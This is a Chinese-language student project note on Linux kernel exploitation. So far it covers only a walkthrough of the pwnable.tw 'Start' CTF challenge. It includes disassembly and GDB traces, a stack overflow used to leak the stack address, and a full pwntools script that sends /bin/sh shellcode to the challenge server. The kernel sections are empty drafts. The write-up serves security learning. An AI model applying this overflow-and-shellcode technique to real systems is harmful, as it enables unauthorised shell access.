# Linux 核心專題: PWN
> 執行人: Welly0902
:::success
:question: 提問清單
* [name=AjMaChInE] --- exploitation 之前會先找到 vulnerability。對於 KERNEL 來說,google 的 [syzkaller](https://github.com/google/syzkaller) 專門在做這件事,他是 state-of-the-art coverage-guided kernel fuzzing,會是這類型研究工具開發比較的對象。如果找到漏洞就會給出 CVE 編號。假設找到某種 vulnerability,不同的 vulnerability 類型會有不同的 exploitation 方法。對於 OOB W vulnerability 類型 和 UAF 類型面臨的 exploitation 方法就會不一樣。KERNEL exploitation 目標會有 RCE 或者 LPE,最常見的是 LPE,相比 KERNEL RCE,KERNEL RCE 較難有完整的 exploitation chain 與好用的場景,但很有價值。而 exploitation 第一關要 bypass 的防禦機制是 ASLR,在 KERNEL 就叫 KASLR。舉例: [Linux_LPE_eBPF_CVE-2021-3490](https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490),可以查 [CVE-2021-3490](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3490),這都會有 KERNEL 版本影響範圍,再來是可以做到 LPE。哪種漏洞類型? 怎 bypass KASLR ? 就可以開始研究了。另外 [kernelCTF: add CVE-2023-0461_mitigation](https://github.com/google/security-research/pull/31/files),他是 UAF 類型,給你參考。
:::
## 任務簡述
藉由回顧經典的 PWN 手法,理解 Linux 核心機制。本任務應在 Linux v5.15+ 驗證。
## TODO: 整理 Linux Kernel Exploitation
整理 [Linux Kernel Exploitation](https://github.com/yuawn/Linux-Kernel-Exploitation) 並重現相關實驗。
> 簡報: [Kernel Exploitation](https://speakerdeck.com/yuawn/kernel-exploitation)
> 筆記: [Linux Kernel pwn](https://hackmd.io/@LJP/Ski-z0iWv)
> [台灣大學計算機安全 (2019)](https://github.com/yuawn/NTU-Computer-Security)
至少要涵蓋以下:
* ret2user
* status switch
* KPTI
* kernel information leak
* userfaultfd
* race condition
* setxattr
* signal handler
在 Linux v5.15+ 驗證後,需要探討對應的原理,佐以 Linux 核心原始程式碼說明。
### Introduction
[PWN](https://en.wiktionary.org/wiki/pwn) 也就是 "OWN" 這個字打錯字而來。通常意指破解了程式的漏洞而佔領了系統。有接觸過 [CTF](https://en.wikipedia.org/wiki/Capture_the_flag_(cybersecurity)) 的對打 PWN 這個詞應該不會太陌生。通常駭客在竊取機密資料時會需要通過 [Cyber kill chain](https://www.csoonline.com/article/2134037/what-is-the-cyber-kill-chain-a-model-for-tracing-cyberattacks.html) 一連串的步驟才能夠達成目的,而打 PWN 就是練習其中 exploitation 環節的一種很好的方式,而 exploitation 手法種類繁多,對有何手法有興趣可以參考 [MITRE ATT&CK Matrices](https://attack.mitre.org/matrices/enterprise/) 有根據不同階段及目的記載不同的手法。當然並不是只有駭客會需要知道 PWN,國內的資安公司如 [DEVCORE](https://devco.re/)、數聯資安等在替甲方企業端進行[滲透測試](https://en.wikipedia.org/wiki/Penetration_test)或是紅藍軍演練時,以及防毒軟體公司在針對病毒 pattern 去阻擋時都有可能用到 PWN 其中的技巧。
本篇會根據 [Linux Kernel Exploitation](https://github.com/yuawn/Linux-Kernel-Exploitation) 這個 PWN Linux Kernel 的 lab,一方面學習如何打 PWN,一方面也去了解 Linux Kernel 針對這些漏洞的 exploitation 有什麼保護機制,並透過 GDB 分析 code 時去理解程式與作業系統互動的機制。
## Tools
[gdb-gef](https://github.com/hugsy/gef)
[seccomp-tools](https://github.com/david942j/seccomp-tools)
[ROPgadget](https://github.com/JonathanSalwan/ROPgadget)
[GHIDRA](https://github.com/NationalSecurityAgency/ghidra)
[QEMU](https://www.qemu.org/download/#linux)
## Binary Exploitation
或許在去 exploit kernel 前,先了解 binary exploitation 會對之後 kernel exploitation 在做什麼會比較有概念。這裡先拿台灣的 CTF 網站 [pwnable.tw](https://pwnable.tw/) 的第一個 challenge: [Start](https://pwnable.tw/challenge/#1) 來去熟悉 PWN 的流程。
在 binary exploitation 中,顧名思義通常會先拿到一個 binary file
```
$ file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
```
接下來 CTF PWN 的流程大概如下:
1. 對 binary file 進行 [reverse engineering](https://ithelp.ithome.com.tw/articles/10218237) 從 assembly code 去猜測此 binary 在做什麼。
2. 透過 [GDB](https://hackmd.io/@sysprog/c-standards#%E4%B8%8D%E8%A6%81%E6%80%A5%E8%91%97%E5%8D%B0%E5%87%BA%E4%BD%8D%E5%9D%80%EF%BC%8C%E5%96%84%E7%94%A8-GDB) 去嘗試破解存在漏洞處。
3. 透過 [pwntools](https://github.com/Gallopsled/pwntools) 來撰寫一支程式,並利用此程式獲得 **flag**。
4. 回傳 flag,CTF PWNED!
### Reverse engineering
拿到 binary 後,首先我們可以先在 gdb 中用 `checksec` 去檢查此 binary 在 gcc 編譯時有加了哪些保護機制。
```
gef➤ checksec
[+] checksec for '/home/harv/Desktop/pwnable.tw/start'
Canary : ✘
NX : ✘
PIE : ✘
Fortify : ✘
RelRO : ✘
```
* Canary: buffer 中一段空間塞一段特定值,當被 BOF 時與此值相比就會發現不同而使程式 crash
* NX: Non-executable,加一個 NX bit 來標示此段 memory 無法執行
* PIE: 開啟 [ASLR](https://en.wikipedia.org/wiki/Address_space_layout_randomization),讓 process 載入 memory 的初始 address 為隨機
* Fortify: glibc 中一個去檢查 BOF 的 macro
* RelRO: Relocation Read-Only,使某些 binary section read only
接著我們可以利用 `objdump` 來看我們的 assembly code:
```asm
$ objdump -D start -M intel
start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp
8048089: b2 14 mov dl,0x14
804808b: b3 01 mov bl,0x1
804808d: b0 04 mov al,0x4
804808f: cd 80 int 0x80
8048091: 31 db xor ebx,ebx
8048093: b2 3c mov dl,0x3c
8048095: b0 03 mov al,0x3
8048097: cd 80 int 0x80
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax
80480a1: cd 80 int 0x80
```
也可以使用 GDB 來看:
```gef
gef➤ disas _start
Dump of assembler code for function _start:
0x08048060 <+0>: push esp
0x08048061 <+1>: push 0x804809d
0x08048066 <+6>: xor eax,eax
0x08048068 <+8>: xor ebx,ebx
0x0804806a <+10>: xor ecx,ecx
0x0804806c <+12>: xor edx,edx
0x0804806e <+14>: push 0x3a465443
0x08048073 <+19>: push 0x20656874
0x08048078 <+24>: push 0x20747261
0x0804807d <+29>: push 0x74732073
0x08048082 <+34>: push 0x2774654c
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
0x08048099 <+57>: add esp,0x14
0x0804809c <+60>: ret
End of assembler dump.
```
觀察以上的 assembly code 可觀察到以下行為:
1. 清除 eax, ebx, ecx, edx register 的值成為 0
2. 0x0804806e - 0x08048082 將值 push 進到 stack,存值方式為 little-endian,把 hex 對應回 [ascii table](https://www.asciitable.com/) 可看出對應字串為 `Let's start the CTF:`
```asm=
0x0804806e <+14>: push 0x3a465443
# 3a 46 54 43
# : F T C
#<-----little-endian----------
```
3. 接著可以看到有兩個 `int 0x80`,也就是 interrupt 來利用 syscall,可查詢 [32 bit 對應的 syscall](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#arm-32_bit_eab) 來知道分別是 `sys_write` 與 `sys_read`
|name|eax|ebx|ecx|edx|
|----|---|---|---|---|
|[sys_write](https://man7.org/linux/man-pages/man2/write.2.html) |0x04| fd = 1|char *buf = esp| count = 0x14|
```asm
0x08048087 <+39>: mov ecx,esp
// ecx 放入 esp
0x08048089 <+41>: mov dl,0x14
// dl 是 edx 的 lower 8 bit,設為 20 bytes
0x0804808b <+43>: mov bl,0x1
// 設為1,stdout
0x0804808d <+45>: mov al,0x4
// eax 決定使用哪個 syscall,4為 sys_write
0x0804808f <+47>: int 0x80
```
4. `add esp,0x14` 也就是 esp 加上20,因為 stack 愈接近 top 的地址的 address 值愈小,所以加上20作用類似於 [function epilogue](https://en.wikipedia.org/wiki/Function_prologue_and_epilogue) 回收 buffer 空間的動作
```graphviz
// Show stack and dereferenced values using Graphviz (DOT)
// (c) Victor Dorneanu
digraph G {
// Define layout
graph [pad=".75", ranksep="0.95", nodesep="0.05"];
rankdir=LR;
node [shape="record"];
rank=same;
// Define pointers
rsp [
label="<p> $esp \l", height="0.1",
color=white, fontcolor=black,fontsize=20,style=filled, fillcolor=white
];
// rbp [
// label="<p> $rbp \l", height="0.1",
// color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white
// ];
// rsp_4 [
// label="<p> $rsp + 4 \l", height="0.01",
// color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white
// ];
// rsp_8 [
// label="<p> $rsp + 8 \l", height="0.01",
// color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white,
// ];
// rsp_12 [
// label="<p> $rsp + 12 \l", height="0.01",
// color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white,
// ];
// Define stack
stack [
width="3",
label="<p>\n\nStack\n\n\n | <bp>0x2774654c (Let’)| <20>0x74732073 (s st)| <16>0x20747261 (art )| <12>0x20656874 (the )| <8>0x3a465443 (CTF:)| <4>offset _exit | <0>Saved ESP "
];
// Pointer -> Stack edges
// rbp:p -> stack:bp [style=dotted];
rsp:p -> stack:bp;
// [style=dotted];
// rsp_4:p -> stack:4 [style=invis];
// rsp_8:p -> stack:8 [style=invis];
// rsp_12:p -> stack:12 [style=invis];
}
```
### GDB 觀察
使用 [gef](https://github.com/hugsy/gef) 來進行 debug,這邊想要觀察 syscall write 與 read 與 memory 之間的互動,所以把 breakpoint 設在 `int 0x80` 之前,並可以輸入 `ni` 觀察每執行一行 instruction 所帶來的變化
```asm
gef➤ b *0x0804808d
Breakpoint 1 at 0x804808d
gef➤ r
Starting program: /home/harv/Desktop/pwnable.tw/start
Breakpoint 1, 0x0804808d in _start ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0
$ebx : 0x1
$ecx : 0xffffd474 → 0x2774654c ("Let'"?)
$edx : 0x14
$esp : 0xffffd474 → 0x2774654c ("Let'"?)
$ebp : 0x0
$esi : 0x0
$edi : 0x0
$eip : 0x0804808d → <_start+45> mov al, 0x4
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd474│+0x0000: 0x2774654c ← $esp
0xffffd478│+0x0004: 0x74732073
0xffffd47c│+0x0008: 0x20747261
0xffffd480│+0x000c: 0x20656874
0xffffd484│+0x0010: 0x3a465443
0xffffd488│+0x0014: 0x0804809d → <_exit+0> pop esp
0xffffd48c│+0x0018: 0xffffd490 → 0x00000001
0xffffd490│+0x001c: 0x00000001
──────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048087 <_start+39> mov ecx, esp
0x8048089 <_start+41> mov dl, 0x14
0x804808b <_start+43> mov bl, 0x1
→ 0x804808d <_start+45> mov al, 0x4
0x804808f <_start+47> int 0x80
0x8048091 <_start+49> xor ebx, ebx
0x8048093 <_start+51> mov dl, 0x3c
0x8048095 <_start+53> mov al, 0x3
0x8048097 <_start+55> int 0x80
──────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "start", stopped 0x804808d in _start (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804808d → _start()
─────────────────────────────────────────────────────────────────────────────────────────
```
當 `ni` 至 eip 指向 `int 0x80` 也就是下一行要執行 sys_write 時,再次 `ni` 後可看到:
```asm=
gef➤ ni
Let's start the CTF:0x08048091 in _start ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x14
$ebx : 0x1
$ecx : 0xffffd474 → 0x2774654c ("Let'"?)
$edx : 0x14
$esp : 0xffffd474 → 0x2774654c ("Let'"?)
$ebp : 0x0
$esi : 0x0
$edi : 0x0
$eip : 0x08048091 → <_start+49> xor ebx, ebx
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd474│+0x0000: 0x2774654c ← $esp
0xffffd478│+0x0004: 0x74732073
0xffffd47c│+0x0008: 0x20747261
0xffffd480│+0x000c: 0x20656874
0xffffd484│+0x0010: 0x3a465443
0xffffd488│+0x0014: 0x0804809d → <_exit+0> pop esp
0xffffd48c│+0x0018: 0xffffd490 → 0x00000001
0xffffd490│+0x001c: 0x00000001
──────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804808b <_start+43> mov bl, 0x1
0x804808d <_start+45> mov al, 0x4
0x804808f <_start+47> int 0x80
→ 0x8048091 <_start+49> xor ebx, ebx
0x8048093 <_start+51> mov dl, 0x3c
0x8048095 <_start+53> mov al, 0x3
0x8048097 <_start+55> int 0x80
0x8048099 <_start+57> add esp, 0x14
0x804809c <_start+60> ret
──────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "start", stopped 0x8048091 in _start (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048091 → _start()
```
首先可以看到終端機輸出 `Let's start the CTF:0x08048091 in _start ()` 也就是如果正常執行程式輸入值之前會看到輸出的字串。這裡 `sys_write` 所做的事就是將 stack 中目前 esp 所指到的地址抓 20 個位元組輸出於標準輸出。
這裡可以實驗看看如果我們在 sys_write 參數中,讓原本 20 個位元組設成 28 個位元組,會不會印出 stack 中預期外的值:
```
gef➤ set $edx = 0x1b
gef➤ ni
Let's start the CTF:????0x08048091 in _start ()
```
可以看到輸出的字變成 `Let's start the CTF:????`,多出來的字元即是讀超出原本規劃存放 return 地址及其他預期外資料 `0x0804809d` 和 `0xffffd490` 共8個 bytes,這些 hex 經過轉譯成 ascii string 後可發現為特殊符號,所以在 terminal 上印出來為 `?`。
接著同理送出 sys_read 的 syscall,這裡再用 gef 觀察。當執行到 `int 0x80` 此時 `fd = 0 (stdin)` 可以輸入值。而從 edx 被設為 0x3c 我們可以知道一共會有 60 bytes 透過 sys_read 被寫進 stack 裡,我們用 gef 來驗證:
```asm
# 此時下一行執行 int 0x80
# 先創造 70 bytes 然後 ni 後輸入
gef➤ python print("a"*70)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
gef➤ ni
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0x08048099 in _start ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x3c
$ebx : 0x0
$ecx : 0xffffd474 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$edx : 0x3c
$esp : 0xffffd474 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$ebp : 0x0
$esi : 0x0
$edi : 0x0
$eip : 0x08048099 → <_start+57> add esp, 0x14
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd474│+0x0000: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]" ← $esp
0xffffd478│+0x0004: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
0xffffd47c│+0x0008: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
0xffffd480│+0x000c: 0x61616161
0xffffd484│+0x0010: 0x61616161
0xffffd488│+0x0014: 0x61616161
0xffffd48c│+0x0018: 0x61616161
0xffffd490│+0x001c: 0x61616161
──────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048093 <_start+51> mov dl, 0x3c
0x8048095 <_start+53> mov al, 0x3
0x8048097 <_start+55> int 0x80
→ 0x8048099 <_start+57> add esp, 0x14
0x804809c <_start+60> ret
0x804809d <_exit+0> pop esp
0x804809e <_exit+1> xor eax, eax
0x80480a0 <_exit+3> inc eax
0x80480a1 <_exit+4> int 0x80
──────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "start", stopped 0x8048099 in _start (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048099 → _start()
```
此時我們可以看到上面顯示的 stack 範圍內 `0xffffd474 (stack top 也是 esp 所指之處)` 到 `0xffffd490` 一共 28 bytes 都被填入 a。不過剛總共輸入 70 bytes 的 a,再用 gef 檢查一下:
```asm=
# 'a' = 0x61
gef➤ x/20xw 0xffffd474
0xffffd474: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd484: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd494: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd4a4: 0x61616161 0x61616161 0x61616161 0xffffd694
0xffffd4b4: 0xffffd6a1 0xffffd6b6 0xffffd6c5 0xffffd6d4
```
由上可以看出總共只寫入了 60 bytes 的 a。
如此一來,結合 `sys_write` 和 `sys_read` 將會留給我們寫入 shellcode 的空間。
### 漏洞利用
從上述 gef 的觀察,可以知道有 BOF 的漏洞可以讓我們改寫 return address 進以操作。但此時並沒有辦法直接改寫 return address 到一個 function 來開 shell,故需將 shell code 寫入 memory 加以執行。
在這之前,因為 EIP 每次執行程式的地址都會不同,所以我們必須先 [information leak](https://youtu.be/rMqvL9j0QaM?t=3294) 將 EIP address leaked 出來再利用。
```python
def leak_esp(p):
start = p.recvuntil(':')
payload = b'a'*0x14 + p32(0x08048087)
p.send(payload)
saved_esp = p.recv()[:4]
return u32(saved_esp)
```
這裡我們設計 payload 時,先用 20 bytes 的 a 將 stack 填滿,接下來的 32 bit 就可以將原先的 return address 給 overwrite。
```graphviz
digraph G {
// Define layout
graph [pad=".75", ranksep="0.95", nodesep="0.05"];
rankdir=LR;
node [shape="record"];
rank=same;
// Define pointers
rsp [
label="<p> $esp \l", height="0.1",
color=white, fontcolor=black,fontsize=20,style=filled, fillcolor=white
];
// rbp [
// label="<p> $rbp \l", height="0.1",
// color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white
// ];
// rsp_4 [
// label="<p> $rsp + 4 \l", height="0.01",
// color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white
// ];
// rsp_8 [
// label="<p> $rsp + 8 \l", height="0.01",
// color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white,
// ];
// rsp_12 [
// label="<p> $rsp + 12 \l", height="0.01",
// color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white,
// ];
// Define stack
stack [
width="3",
label="<p>\n\nStack\n\n\n | <bp>0x61616161 (aaaa)| <20>0x61616161 (aaaa)| <16>0x61616161 (aaaa)| <12>0x61616161 (aaaa)| <8>0x61616161 (aaaa)| <4>0x08048087 (mov ecx,esp) | <0>Saved ESP "
];
rsp:p -> stack:bp;
}
```
當寫入完成後,此時要執行最後兩行:
```asm=
0x08048099 <+57>: add esp,0x14
0x0804809c <+60>: ret
```
當 `add esp,0x14` 後,ESP 往下 20 bytes(高地址),stack 變為如下:
```graphviz
digraph G {
// Define layout
graph [pad=".75", ranksep="0.95", nodesep="0.05"];
rankdir=LR;
node [shape="record"];
rank=same;
// Define pointers
rsp [
label="<p> $esp \l", height="0.1",
color=white, fontcolor=black,fontsize=20,style=filled, fillcolor=white
];
// Define stack
stack [
width="3",
label="<p>\n\nStack\n\n\n | <bp>0x61616161 (aaaa)| <20>0x61616161 (aaaa)| <16>0x61616161 (aaaa)| <12>0x61616161 (aaaa)| <8>0x61616161 (aaaa)| <4>0x08048087 (mov ecx,esp) | <0>Saved ESP "
];
rsp:p -> stack:<4>;
}
```
此時 return 又會重新回到準備要做 `sys_write`,就可以利用`sys_write` 將寫回的 20 bytes 中的前4個 bytes 取出,就得到 ESP 的 base address 了。
接下來我們想要開 shell,這裡需用到 syscall `execve` 去執行 `execve(“/bin/sh”,NULL,NULL)` 來達到效果。
類似上面 sys_write 放參數的方式,寫成 assembly code 後,再以 assembler 轉譯成 machine code 後就得到了 shellcode,程式如下:
```python
shellcode='''
xor eax,eax
push eax
push %s
push %s
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov al, 0xb
int 0x80''' %(u32('/sh\0'),u32('/bin'))
# 傳送第二次 payload 達成開 shell
def pwn(p,saved_esp):
payload = b'a'*0x14 + p32(saved_esp + 20) + asm(shellcode)
p.send(payload)
p.interactive()
```
在知道了 ESP base address 後,因為程式剩下的 instruction 還剩下一次 sys_read,我們就可以利用再一次對 stack 的寫入去將 shellcode 也塞進去,並運用剛 leaked 出來的 ESP address,把 return address 指到 shellcode 所在的地址,示意圖如下:
```graphviz
digraph G {
// Define layout
graph [pad=".75", ranksep="0.95", nodesep="0.05"];
rankdir=LR;
node [shape="record"];
rank=same;
// Define pointers
rsp [
label="<p> $esp \l", height="0.1",
color=white, fontcolor=black,fontsize=20,style=filled, fillcolor=white
];
rsp2 [
label="<p> leaked $esp \l", height="0.1",
color=white, fontcolor=red,fontsize=20,style=filled, fillcolor=white
];
// Define stack
stack [
width="3",
label="<p>\n\nStack\n\n\n | <bp>0x61616161 (aaaa)| <20>0x61616161 (aaaa)| <16>0x61616161 (aaaa)| <12>0x61616161 (aaaa)| <8>0x61616161 (aaaa)| <4>0x08048087 (mov ecx,esp) | <0>Saved ESP "
];
rsp:p -> stack:<4>;
rsp2:p -> stack:<0>
}
```
這ㄧ次送進 `sys_read` 的 payload 為:
```python
payload = b'a'*0x14 + p32(saved_esp + 20) + asm(shellcode)`
```
這次除了又從 ESP 開始填滿了 20 bytes 的 a 之外,剛 leaked 的 address 加上 20 bytes 剛好就會指到 shellcode 上
```graphviz
digraph G {
// Define layout
graph [pad=".75", ranksep="0.95", nodesep="0.05"];
rankdir=LR;
node [shape="record"];
rank=same;
// Define pointers
rsp [
label="<p> $esp \l", height="0.1",
color=white, fontcolor=black,fontsize=20,style=filled, fillcolor=white
];
rsp2 [
label="<p> leaked $esp \l", height="0.1",
color=white, fontcolor=red,fontsize=20,style=filled, fillcolor=white
];
rsp3 [
label="<p> leaked $esp +20 bytes \l", height="0.1",
color=white, fontcolor=red,fontsize=20,style=filled, fillcolor=white
];
// Define stack
stack [
width="3",
label="<p>\n\nStack\n\n\n | <bp>0x61616161 (aaaa)|<40>0x61616161 (aaaa) |<36>0x61616161 (aaaa) |<32>0x61616161 (aaaa) |<28>0x61616161 (aaaa) |<24>0x61616161 (aaaa) | <20>0x61616161 (aaaa)| <16>0x61616161 (aaaa)| <12>0x61616161 (aaaa)| <8>0x61616161 (aaaa)| <4>address of leaked address + 20 bytes | <0>Shellcode "
];
rsp:p -> stack:<24>;
rsp2:p -> stack:<20>;
rsp3:p -> stack:<0>;
}
```
所以從上圖看 return 到 shellcode 所在位置,成功開 shell,就可以開啟 flag。
```
$ cat /home/start/flag
FLAG{*************}
```
完整程式參考[本篇](https://cool-y.github.io/2019/10/25/PWNtw-start/):
```
$ python3 --version
Python 3.10.6
```
```python
from pwn import *
from binascii import *
shellcode='''
xor eax,eax
push eax
push %s
push %s
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov al, 0xb
int 0x80''' %(u32('/sh\0'),u32('/bin'))
def leak_esp(p):
start = p.recvuntil(':')
payload = b'a'*0x14 + p32(0x08048087)
p.send(payload)
saved_esp = p.recv()[:4]
return u32(saved_esp)
def pwn(p,saved_esp):
payload = b'a'*0x14 + p32(saved_esp + 20) + asm(shellcode)
p.send(payload)
p.interactive()
if __name__ == '__main__':
p = remote("chall.pwnable.tw",10000)
saved_esp = leak_esp(p)
print("leak saved_esp: " ,hex(saved_esp+20))
pwn(p,saved_esp)
```
<!-- |name|eax|ebx|ecx|edx|esi|
|----|---|---|---|---|---|
|[sys_execve](https://man7.org/linux/man-pages/man2/execve.2.html) |0x04| fd = 1|char *buf = esp| count = 0x14|struct pt_regs| -->
## Kernel Exploitaion
## Reference
https://www.kernel.org/doc/Documentation/security/self-protection.txt
https://cirosantilli.com/linux-kernel-module-cheat/
https://github.com/david942j/seccomp-tools
https://www.youtube.com/playlist?list=PL-ymxv0nOtqowTpJEW4XTiGQYx6iwa6og
[台灣大學計算機安全 (2019)](https://github.com/yuawn/NTU-Computer-Security)
## TODO: 經典 PWN 解說和彙整
從 [kernel pwn](https://github.com/smallkirby/kernelpwn) 選出至少 4 個能在 Linux v5.15+ 重現的案例,予以解說並彙整相關素材。
```graphviz
digraph G {
// Define layout
graph [pad=".75", ranksep="0.95", nodesep="0.05"];
rankdir=LR;
node [shape="record"];
rank=same;
// Define pointers
rsp [
label="<p> $rsp \l", height="0.1",
color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white
];
rbp [
label="<p> $rbp \l", height="0.1",
color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white
];
rsp_4 [
label="<p> $rsp + 4 \l", height="0.01",
color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white
];
rsp_8 [
label="<p> $rsp + 8 \l", height="0.01",
color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white,
];
rsp_12 [
label="<p> $rsp + 12 \l", height="0.01",
color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white,
];
// Define stack
stack [
width="3",
label="<p>\n\nStack\n\n\n | <bp>\n...\n\n | <20> 0x41414141 \l | <16>0x3 \l| <12>0x0000000000400675 \l | <8>0x0000000000400660 \l | <4>0x00007fffffffe408 \l | <0>0x00007fffffffe328 \l"
];
// Define values
val [
width="5",color=blue,
label="<p>\n\nValues\n\n\n | \n...\n\n | <1>0xffffffff \l | <2>0xfff908987 \l | <3>(0x00007fffffffe67d): aaaaa \l | <4>(main): sub rsp,0x8 \l | <5>blabala \l | <6>(main+21): call 0x4005a0 \l"
];
// Pointer -> Stack edges
rbp:p -> stack:bp [style=dotted];
rsp:p -> stack:0 [style=dotted];
rsp_4:p -> stack:4 [style=invis];
rsp_8:p -> stack:8 [style=invis];
rsp_12:p -> stack:12 [style=invis];
// Trick to have everything horizontally aligned
stack:p -> val:p [style=invis];
// Stack -> Values edges
edge[style=dotted];
stack:4 -> val:3;
stack:8 -> val:4;
stack:0 -> val:2 [color=red, style=solid];
stack:12 -> val:6;
}
```